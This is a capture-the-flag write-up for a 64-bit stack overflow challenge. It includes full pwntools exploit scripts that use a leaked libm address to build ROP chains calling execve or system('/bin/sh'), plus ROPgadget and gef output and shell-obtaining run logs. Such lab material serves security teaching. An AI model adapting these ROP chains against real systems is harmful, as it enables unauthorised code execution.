Skip to content

64 bits ROP inside LIBC/LIBM

Summary

Obtain shell by either executing a ROP chain within libm to call execve, or by directly invoking the system function within libc.

Challenge

Challenge from https://github.com/hackutt-ctf/exercices_pwn.

  • ropchain2
  • ropchain2.c

Writeup

General information about the binary:

$ file ropchain2
ropchain2: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=2c6fac9007a0e13f2ca1978d85d974afb7fd03d9, not stripped

$ pwn checksec ropchain2
[*] '/home/xanhacks/PWN/exercices_pwn/precompiled/ropchain2'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

ASLR and PIE are active, yet the absence of a canary suggests vulnerability to a buffer overflow.

Source code of ropchain2.c:

#include <math.h>
#include <stdio.h>

// gcc -fno-stack-protector -lm

int main(int argc, char* argv) {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    char yours[8];

    printf("Check out my pecs: %p\n", fabs);
    printf("How about yours? ");
    gets(yours);
    printf("Let's see how they stack up.");

    return 0;
}

Analyzing the source code reveals that the address of the fabs function from math.h, indicating a leak in libm. This leak can be exploited to bypass ASLR. The source code also reveals a buffer overflow vulnerability in the gets function. This function, notorious for its lack of bounds checking, reads input into the yours array, which is only 8 characters long.

This challenge can be approached in two distinct ways:

  1. Implement ROP within libm to execute execve("/bin/sh", 0, 0).
  2. Execute system("/bin/sh") from within libc.

We will explore both techniques.

1. ROP within libm to call execve

The aim here is to construct a execve("/bin/sh", 0, 0) call by utilizing ROP gadgets within libm. To find these gadgets, we can use ROPgadget:

$ ROPgadget --binary /usr/lib/libm.so.6 | grep ': pop rax ; ret$'
0x000000000001f2ce : pop rax ; ret
$ ROPgadget --binary /usr/lib/libm.so.6 | grep ': syscall$'
0x000000000003e2bd : syscall
# [...]

In summary, with the leakage of libm, the available gadgets, and the buffer overflow vulnerability, the only missing piece is the string /bin/sh.

gef➤  vmmap
Start              End                Offset             Perm Path
[...]
0x00007ffff7e9c000 0x00007ffff7eac000 0x0000000000000000 r-- /usr/lib/libm.so.6
0x00007ffff7eac000 0x00007ffff7f2b000 0x0000000000010000 r-x /usr/lib/libm.so.6
0x00007ffff7f2b000 0x00007ffff7f87000 0x000000000008f000 r-- /usr/lib/libm.so.6
0x00007ffff7f87000 0x00007ffff7f88000 0x00000000000ea000 r-- /usr/lib/libm.so.6
0x00007ffff7f88000 0x00007ffff7f89000 0x00000000000eb000 rw- /usr/lib/libm.so.6
gef➤  search-pattern 0x00007ffff7e9c000,0x00007ffff7f89000,"/bin/sh"
[+] Searching '0x00007ffff7e9c000,0x00007ffff7f89000,/bin/sh' in memory

Unfortunately, the /bin/sh string is not present in the libm library. However, we can leverage the second range of addresses, which have RW permissions, to write /bin/sh into memory and pop it into rdi using our ROP chain.

There is the final solve script that executes the final ROP chains with all the required addreses.

Solve script:

from pwn import *


BOF_OFFSET = 16

libm = ELF("/usr/lib/libm.so.6")
p = process("./ropchain2")

SYM_FABS = libm.symbols["fabsf64"]
ASLR_FABS = int(p.recvline().decode().split(": ")[-1], 16)
print(f"ASLR_FABS: {hex(ASLR_FABS)}")
ASLR_OFFSET = ASLR_FABS - SYM_FABS
print(f"ASLR_OFFSET: {hex(ASLR_OFFSET)}")

W_ADDR = ASLR_FABS + 0xbc530
print(f"W_ADDR: {hex(W_ADDR)}")
BIN_SH = b"/bin/sh\x00"
"""libm
0x000000000001f2ce : pop rax ; ret
0x0000000000032416 : pop rdi ; ret
0x0000000000043801 : pop rdx ; ret
0x00000000000273ff : pop rcx ; ret
0x000000000001d763 : pop rsi ; ret
0x000000000008a9ba : mov qword ptr [rcx], rdx ; ret
0x000000000003e2bd : syscall
"""
pop_rax = p64(0x000000000001f2ce + ASLR_OFFSET)
pop_rdi = p64(0x0000000000032416 + ASLR_OFFSET)
pop_rdx = p64(0x0000000000043801 + ASLR_OFFSET)
pop_rcx = p64(0x00000000000273ff + ASLR_OFFSET)
pop_rsi = p64(0x000000000001d763 + ASLR_OFFSET)
mov_rcx_rdx = p64(0x000000000008a9ba + ASLR_OFFSET)
syscall = p64(0x000000000003e2bd + ASLR_OFFSET)
print(f"pop_rax: {hex(u64(pop_rax))}")
print(f"pop_rdi: {hex(u64(pop_rdi))}")
print(f"pop_rdx: {hex(u64(pop_rdx))}")
print(f"pop_rcx: {hex(u64(pop_rcx))}")
print(f"pop_rsi: {hex(u64(pop_rsi))}")
print(f"mov_rcx_rdx: {hex(u64(mov_rcx_rdx))}")
print(f"syscall: {hex(u64(syscall))}")

input("Press Enter to continue...")
# BOF
payload = b"A" * BOF_OFFSET
# rcx = W_ADDR
payload += pop_rcx + p64(W_ADDR)
# rdx = "/bin/sh"
payload += pop_rdx + BIN_SH
# mov [rcx], rdx
payload += mov_rcx_rdx
# rax = 0x3b
payload += pop_rax + p64(0x3b)
# rdi = @ bin_sh
payload += pop_rdi + p64(W_ADDR)
# rsi = 0
payload += pop_rsi + p64(0)
# rdx = 0
payload += pop_rdx + p64(0)
payload += syscall

p.sendline(payload)
p.interactive()

Execution:

$ python3 xpl_ropchain2.py
[*] '/usr/lib/libm.so.6'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './ropchain2': pid 12607
ASLR_FABS: 0x7f4b92930ad0
ASLR_OFFSET: 0x7f4b92901000
W_ADDR: 0x7f4b929ed000
pop_rax: 0x7f4b929202ce
pop_rdi: 0x7f4b92933416
pop_rdx: 0x7f4b92944801
pop_rcx: 0x7f4b929283ff
pop_rsi: 0x7f4b9291e763
mov_rcx_rdx: 0x7f4b9298b9ba
syscall: 0x7f4b9293f2bd
Press Enter to continue...
[*] Switching to interactive mode
How about yours? Let's see how they stack up.
$ id
uid=1001(xanhacks) gid=1001(xanhacks) groups=1001(xanhacks),998(wheel)

2. ROP within libc to call system

To achieve the objective of calling system("/bin/sh"), we can determine the base address of libc by subtracting a specific offset from the base address of libm. Since the string /bin/sh already exists within libc, our ROP chain can be simplified significantly. The primary task of the ROP chain will be to assign the address of /bin/sh to the rdi register.

Here is the final script that executes the necessary ROP chain to correctly set up the /bin/sh parameter for the system function:

from pwn import *


BOF_OFFSET = 16

libm = ELF("/usr/lib/libm.so.6")
libc = ELF("/usr/lib/libc.so.6")
p = process("./ropchain2")

SYM_FABS = libm.symbols["fabsf64"]
SYM_SYSTEM = libc.symbols["system"]
SYM_BIN_SH = next(libc.search(b"/bin/sh"))

LIBM_LIBC_OFFSET = 0x00007fad99c48000 - 0x00007fad99e2a000   
print(f"LIBM_LIBC_OFFSET: {hex(LIBM_LIBC_OFFSET)}")

FABS_ADDR = int(p.recvline().decode().split(": ")[-1], 16)
ASLR_OFFSET = FABS_ADDR - SYM_FABS
SYSTEM_ADDR = ASLR_OFFSET + SYM_SYSTEM + LIBM_LIBC_OFFSET
BIN_SH_ADDR = ASLR_OFFSET + SYM_BIN_SH + LIBM_LIBC_OFFSET
print(f"FABS_ADDR: {hex(FABS_ADDR)}")
print(f"ASLR_OFFSET: {hex(ASLR_OFFSET)}")
print(f"SYSTEM_ADDR: {hex(SYSTEM_ADDR)}")
print(f"BIN_SH_ADDR: {hex(BIN_SH_ADDR)}")
"""libm
0x000000000001001a : ret
0x0000000000032416 : pop rdi ; ret
"""
ret = p64(0x000000000001001a + ASLR_OFFSET)
pop_rdi = p64(0x0000000000032416 + ASLR_OFFSET)

input("Press Enter to continue...")
payload = b"A" * BOF_OFFSET
payload += ret
payload += pop_rdi
payload += p64(BIN_SH_ADDR)
payload += p64(SYSTEM_ADDR)

p.sendline(payload)
p.interactive()

Execution:

$ python3 xpl_system.py
[*] '/usr/lib/libm.so.6'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/usr/lib/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './ropchain2': pid 19061
LIBM_LIBC_OFFSET: -0x1e2000
FABS_ADDR: 0x7f6bf5236ad0
ASLR_OFFSET: 0x7f6bf5207000
SYSTEM_ADDR: 0x7f6bf5074760
BIN_SH_ADDR: 0x7f6bf51bfe34
Press Enter to continue...
[*] Switching to interactive mode
How about yours? Let's see how they stack up.
$ id
uid=1001(xanhacks) gid=1001(xanhacks) groups=1001(xanhacks),998(wheel)